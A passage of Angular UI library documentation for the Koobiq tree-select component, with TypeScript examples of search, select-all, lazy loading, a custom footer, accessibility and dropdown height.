                        [checkboxThirdState]="true"
                    >
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />
            </kbq-tree-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectChildSelectionOverviewExample {
    readonly select = viewChild.required(KbqTreeSelect);
    readonly tree = viewChild.required(KbqTreeSelection);

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    control = new FormControl(['Downloads', 'rootNode_1']);

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);
        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    onSelectionChange($event: KbqTreeSelectChange) {
        const option: KbqTreeOption = $event.value;

        if (option.isExpandable) {
            this.tree().setStateChildren(option, !option.selected);
        }

        this.toggleParents($event.value.data.parent);
    }

    private toggleParents(parent) {
        if (!parent) {
            return;
        }

        const descendants = this.treeControl.getDescendants(parent);
        const isParentSelected = this.select().selectionModel.selected.includes(parent);

        if (!isParentSelected && descendants.every((d: any) => this.select().selectionModel.selected.includes(d))) {
            this.select().selectionModel.select(parent);
            this.toggleParents(parent.parent);
        } else if (isParentSelected) {
            this.select().selectionModel.deselect(parent);
            this.toggleParents(parent.parent);
        }
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

#### Counter of the hidden items

When the selected nodes do not fit on one line, the ones that are left out are replaced with a counter. Its text follows the active locale (`select.hiddenItemsText`) and can be overridden with the `hiddenItemsText` attribute — a value set there wins over the locale and survives a locale change. The number placeholder inside the text is replaced with the number of hidden items:

```ts
@Component({
    template: `
        <kbq-form-field>
            <kbq-tree-select multiple [hiddenItemsText]="hiddenItemsText">...</kbq-tree-select>
        </kbq-form-field>
    `
})
class Example {
    readonly hiddenItemsText = 'and {{ number }} more';
}
```

`hiddenItemsTextFormatter` is the function that performs the substitution, `(hiddenItemsText: string, hiddenItems: number) => string`. Replace it to build the label differently.

The counter is only rendered in multiple selection mode and only while `multiline` is off — a multiline trigger wraps the tags instead of hiding them.

#### With search

**Example: Tree-select search** (`tree-select-search-overview`)

```ts tree-select-search-overview-example.ts
import { ChangeDetectionStrategy, Component, OnInit } from '@angular/core';
import { FormControl, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { KbqHighlightModule } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-search-overview-example',
    imports: [
        KbqTreeSelectModule,
        FormsModule,
        ReactiveFormsModule,
        KbqIconModule,
        KbqInputModule,
        KbqTreeModule,
        KbqHighlightModule
    ],
    template: `
        <kbq-form-field>
            <kbq-tree-select [multiple]="true" [(ngModel)]="selected">
                <kbq-form-field noBorders kbqSelectSearch>
                    <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                    <input kbqInput type="text" [formControl]="searchControl" />
                    <kbq-cleaner />
                </kbq-form-field>

                <div kbq-select-search-empty-result>Ничего не найдено</div>

                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        <span
                            [innerHTML]="
                                treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery
                            "
                        ></span>
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        <span
                            [innerHTML]="
                                treeControl.getViewValue(node) | kbqHighlightBackground: treeControl.filterQuery
                            "
                        ></span>
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />
            </kbq-tree-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectSearchOverviewExample implements OnInit {
    selected = '';

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    searchControl: FormControl = new FormControl();

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    ngOnInit(): void {
        this.searchControl.valueChanges.subscribe((value) => this.treeControl.applyFilter(value));
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

#### Select all

In multiple selection mode all the nodes can be selected at once. The feature is off by default — turn it on with the `selectAll` attribute, and a master checkbox appears above the tree.

```html
<kbq-tree-select multiple selectAll>
    <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
        <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
            {{ treeControl.getViewValue(node) }}
        </kbq-tree-option>
    </kbq-tree-selection>
</kbq-tree-select>
```

The checkbox has three states: unchecked, indeterminate, and checked — clicking it while indeterminate selects the remaining nodes rather than clearing the selection. Without a search query it covers the whole data set, collapsed branches included; while a query is active it covers only the nodes on screen — the matches and the ancestors kept visible for them. Disabled nodes are ignored. The row takes part in keyboard navigation as the first item of the tree, and every action on it emits `onSelectAll`. The label comes from the locale (`select.selectAll`).

**Example: Tree-select select all** (`tree-select-select-all`)

```ts tree-select-select-all-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: 'ts',
            'focus monitor': 'ts'
        },
        scripts: {
            deploy: '',
            build: ''
        }
    },
    tests: ''
};

@Component({
    selector: 'tree-select-select-all-example',
    imports: [
        KbqTreeSelectModule,
        KbqTreeModule,
        KbqIconModule
    ],
    template: `
        <kbq-form-field>
            <kbq-tree-select selectAll placeholder="Placeholder" [multiple]="true">
                <kbq-cleaner />

                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>
            </kbq-tree-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field-type-select {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectSelectAllExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };
}
```

Once everything is selected, the control can show a label of its own instead of literally listing the selected nodes. Project a `<kbq-select-trigger>` while the tree's `allOptionsSelected` is `true` — without it the tree-select falls back to its default trigger. Use the element (or an element carrying the `kbq-select-trigger` attribute) rather than an `<ng-container>`: the trigger is stretched to the full width of the control by a rule on that element, and an `ng-container` leaves nothing for it to apply to, so the label and the arrow end up bunched together.

**Example: Tree-select select all label** (`tree-select-select-all-label`)

```ts tree-select-select-all-label-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: 'ts',
            'focus monitor': 'ts'
        },
        scripts: {
            deploy: '',
            build: ''
        }
    },
    tests: ''
};

@Component({
    selector: 'tree-select-select-all-label-example',
    imports: [
        KbqTreeSelectModule,
        KbqTreeModule,
        KbqIconModule,
        FormsModule
    ],
    template: `
        <kbq-form-field>
            <kbq-tree-select selectAll placeholder="Placeholder" [multiple]="true" [ngModel]="selected">
                <!-- Projected only while every node is selected, so the rest of the time the tree-select
                     falls back to its default trigger and lists the selected nodes as usual. -->
                @if (tree.allOptionsSelected) {
                    <kbq-select-trigger>All nodes</kbq-select-trigger>
                }

                <kbq-tree-selection #tree="kbqTreeSelection" [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>
            </kbq-tree-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field-type-select {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectSelectAllLabelExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    /** Every node of `DATA_OBJECT`, so the example starts in the "all selected" state. */
    readonly selected: string[];

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
        this.selected = this.treeControl.dataNodes.map(this.getValue);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };
}
```

#### Selecting everything from the keyboard

`Ctrl`/`Cmd` + `A` selects all nodes in multiple selection mode. By default a repeated press keeps them selected; `selectAllToggle` makes it deselect them instead. With `selectAll` the shortcut always toggles both ways, so it and the master checkbox cannot disagree.

Inside a non-empty search field the first press selects the text of the field; the next one falls through to the nodes. The behaviour can be replaced wholesale with the `selectAllHandler` input.

#### Lazy loading tree-select

**Example: Tree-select lazyload** (`tree-select-lazyload`)

```ts tree-select-lazyload-example.ts
import { SelectionChange } from '@angular/cdk/collections';
import { ChangeDetectionStrategy, Component, Injectable, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqProgressSpinnerModule } from '@koobiq/components/progress-spinner';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';
import { BehaviorSubject, Observable, timer } from 'rxjs';

interface INodeResponse {
    id: string;
    name: string;
    hasChildren: boolean;
}

class FlatNode {
    id: string;
    name: string;
    expandable: boolean;
    level: number;
    parent: FlatNode;
    loading: boolean;
}

class LazyLoadNode {
    childrenChange = new BehaviorSubject<LazyLoadNode[]>([]);

    get children(): LazyLoadNode[] {
        return this.childrenChange.value;
    }

    constructor(
        public id: string,
        public name: string,
        public hasChildren = false,
        public loading = false,
        public loaded: boolean = false
    ) {}
}

@Injectable()
export class LazyLoadDataService {
    dataChange = new BehaviorSubject<LazyLoadNode[]>([]);
    nodeMap = new Map<string, LazyLoadNode>();

    initialize(): void {
        // example with http-request
        /*this.http.get<INodeResponse[]>('/api/getTree').subscribe((data) => {
            this.dataChange.next(
                data.map((nodeResponse: INodeResponse) => {
                        const result = new LazyLoadNode(nodeResponse.id, nodeResponse.name, nodeResponse.hasChildren);
                        this.nodeMap.set(nodeResponse.id, result);

                        return result;
                    }
                )
            );
        });*/

        this.dataChange.next(
            Array(10)
                .fill({})
                .map((value, index) => {
                    const id = index.toString();

                    return {
                        ...value,
                        hasChildren: !(index % 2),
                        name: `node-${id}`,
                        id
                    };
                })
                .map((nodeResponse: INodeResponse) => {
                    const result = new LazyLoadNode(nodeResponse.id, nodeResponse.name, nodeResponse.hasChildren);

                    this.nodeMap.set(nodeResponse.id, result);

                    return result;
                })
        );
    }

    loadChildren(id: string): void {
        const parent = this.nodeMap.get(id)!;

        if (parent.loading || (parent.hasChildren && parent.children.length)) {
            return;
        }

        parent.loading = true;
        this.nodeMap.set(parent.id, parent);
        this.dataChange.next(this.dataChange.value);

        // example with http-request
        /* this.http.get<INodeResponse[]>(`/api/getChildren/${ id }`)
            .pipe(
                finalize(() => {
                    parent.loading = false;
                    this.nodeMap.set(parent.id, parent);
                    this.dataChange.next(this.dataChange.value);
                })
            )
            .subscribe((data) => {
                const children = data.map((nodeResponse: INodeResponse) => {
                        const result = new LazyLoadNode(nodeResponse.id, nodeResponse.name, nodeResponse.hasChildren);
                        this.nodeMap.set(nodeResponse.id, result);

                        return result;
                    }
                );
                parent.loaded = true;
                parent.childrenChange.next(children);
            });
        */

        timer(5000).subscribe(() => {
            parent.childrenChange.next(
                Array(5)
                    .fill({})
                    .map((value, index) => {
                        const childId = `${parent.id}-${index}`.toString();

                        return {
                            ...value,
                            hasChildren: !(index % 2),
                            name: `node-${childId}`,
                            id: childId
                        };
                    })
                    .map((nodeResponse: INodeResponse) => {
                        const result = new LazyLoadNode(nodeResponse.id, nodeResponse.name, nodeResponse.hasChildren);

                        this.nodeMap.set(nodeResponse.id, result);

                        return result;
                    })
            );
            parent.loading = false;
            parent.loaded = true;
            this.nodeMap.set(parent.id, parent);
            this.dataChange.next(this.dataChange.value);
        });
    }
}

export class LazyLoadDataSource<T, F> extends KbqTreeFlatDataSource<T, F> {
    constructor(
        treeControl: FlatTreeControl<F>,
        treeFlattener: KbqTreeFlattener<T, F>,
        private dataService: LazyLoadDataService
    ) {
        super(treeControl, treeFlattener, []);
    }

    expansionHandler(change: SelectionChange<F>): F[] {
        if (change?.added?.length) {
            this.dataService.loadChildren((change.added[0] as any).id);
        }

        return super.expansionHandler(change);
    }
}

@Component({
    selector: 'tree-select-lazyload-example',
    imports: [
        KbqTreeSelectModule,
        FormsModule,
        KbqTreeModule,
        KbqIconModule,
        KbqProgressSpinnerModule
    ],
    template: `
        <kbq-form-field>
            <kbq-tree-select [(ngModel)]="selected">
                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        @if (node.loading) {
                            <kbq-progress-spinner mode="indeterminate" />
                        }
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />
            </kbq-tree-select>
        </kbq-form-field>
    `,
    providers: [LazyLoadDataService],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectLazyloadExample {
    private dataService = inject(LazyLoadDataService);

    selected = '';
    treeControl: FlatTreeControl<FlatNode>;
    treeFlattener: KbqTreeFlattener<LazyLoadNode, FlatNode>;

    dataSource: LazyLoadDataSource<LazyLoadNode, FlatNode>;

    nodeMap = new Map<string, FlatNode>();

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new LazyLoadDataSource(this.treeControl, this.treeFlattener, this.dataService);

        this.dataSource.data = [];

        this.dataService.dataChange.subscribe((data: LazyLoadNode[]) => {
            this.dataSource.data = data;
        });

        this.dataService.initialize();
    }

    hasChild(_: number, nodeData: FlatNode): boolean {
        return nodeData.expandable;
    }

    private transformer = (node: LazyLoadNode, level: number, parent: any): FlatNode => {
        const existingNode = this.nodeMap.get(node.id);

        const flatNode = new FlatNode();

        flatNode.id = node.id;
        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.level = level;
        flatNode.expandable = node.hasChildren;
        flatNode.loading = node.loading;

        if (existingNode && existingNode.id === flatNode.id) {
            return existingNode;
        }

        this.nodeMap.set(node.id, flatNode);

        if (node.loaded) {
            this.treeControl.expand(flatNode);
        }

        return flatNode;
    };

    private getLevel = (node: FlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: LazyLoadNode): Observable<LazyLoadNode[]> => {
        return node.childrenChange;
    };

    private getValue = (node: FlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FlatNode): string => {
        return node.name;
    };
}
```

#### With custom footer

**Example: Tree-select footer** (`tree-select-footer-overview`)

```ts tree-select-footer-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-footer-overview-example',
    imports: [KbqTreeSelectModule, FormsModule, KbqTreeModule, KbqIconModule, KbqLink],
    template: `
        <kbq-form-field>
            <kbq-tree-select [(ngModel)]="selected">
                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <i
                            kbq-icon="kbq-chevron-down-s_16"
                            kbqTreeNodeToggle
                            [style.transform]="treeControl.isExpanded(node) ? '' : 'rotate(-90deg)'"
                        ></i>
                        {{ treeControl.getViewValue(node) }}
                    </kbq-tree-option>
                </kbq-tree-selection>

                <kbq-cleaner />

                <kbq-select-footer>
                    <a href="https://koobiq.io/en/components/tree-select" kbqLink external target="_blank">Ссылка</a>
                </kbq-select-footer>
            </kbq-tree-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectFooterOverviewExample {
    selected = '';

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

#### Accessibility

The control is a `role="combobox"`: it reports `aria-expanded`, points `aria-controls` at the dropdown while it is open, and mirrors its validity and its required state into `aria-invalid`/`aria-required`. Opening the dropdown moves the focus into it — onto the node the keyboard is on, or into the search field when one is projected — so while the dropdown is open a screen reader reads the panel rather than the control.

A combobox has to be named, and `<label for>` only names native form controls. Inside a `kbq-form-field` the label names the control through `aria-labelledby`, which the control wires up on its own. Without a form-field label, prefer `aria-labelledby` pointing at text that is already on screen, and reach for `aria-label` when nothing on the page holds the caption. Left unnamed, the control falls back to its `placeholder`:

```html
<kbq-form-field>
    <kbq-label>Files</kbq-label>
    <kbq-tree-select>...</kbq-tree-select>
</kbq-form-field>

<kbq-form-field>
    <kbq-tree-select aria-label="Files">...</kbq-tree-select>
</kbq-form-field>

<h3 id="files-caption">Files</h3>
<kbq-form-field>
    <kbq-tree-select aria-labelledby="files-caption">...</kbq-tree-select>
</kbq-form-field>
```

From the keyboard, `Escape` and `Alt` + arrow close the dropdown and return the focus to the control, while `Tab` closes it and moves on to the next control the way it does everywhere else.

#### Dropdown height

By default, the maximum height of the list is 256px, and the list scrolls once the tree does not fit. Use the `panelMaxHeight` attribute with a value in pixels to change it.

**Example: Tree-select height** (`tree-select-height`)

```ts tree-select-height-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
